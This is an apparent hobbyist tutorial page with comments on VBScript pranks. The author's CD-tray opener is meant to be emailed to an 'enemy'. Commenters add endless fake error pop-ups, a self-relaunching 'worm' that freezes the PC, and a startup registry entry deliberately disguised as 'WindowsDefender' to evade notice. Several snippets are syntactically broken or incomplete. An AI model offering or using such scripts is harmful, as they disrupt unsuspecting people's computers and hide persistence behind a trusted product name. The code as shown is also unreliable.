Picture of visual basic scripting tricks (2)
visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous disk opener

Picture of continous disk opener
this will be a continuous disk opener, open notepad and write:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
Next ' cdrom
End If


save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha
Awal4real2 years ago
any script to copy the file to the start up folder automatically?
stealth46 years ago
lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb
 it stops when you restart :)
Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.
UBERBANKAI5 years ago
You could just type

lol=msgbox("Critical Error",16,"ERROR")

for a continuous error message
n1cod3mus5 years ago
Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")

'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"

adds it to the registry for start up
kei105 years ago
Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.
n1cod3mus kei105 years ago
Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"

the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry
Radobot5 years ago
How to froze pc:

Set x = CreateObject(Wscript.Shell)
x.Run C:\WINDOWS\forzing.vbs
For i = 1 To 3
i = 2

Just save it to C:\WINDOWS and name it 'forzing.vbs'
It is a vbs worm! 
lol i had to hold dowwn the power button to make it stop
zetsway6 years ago
I ran the script on my own PC. I couldn't stop laughing :)
Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.
BatchMan6 years ago
will this work:

sub pwn()
lol = msgbox ("Critical error!" ,16, "ERROR")
end sub
add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"
I3uckwheat7 years ago
your right meeze it is a copy! duh it is
this is so plagerised
Wonder where you got that code from... Hmm look at my instructablehere
cool i liked that picture where is said ERROR
thefirstgaruga (author)  GorillazMiko7 years ago
?? that's ok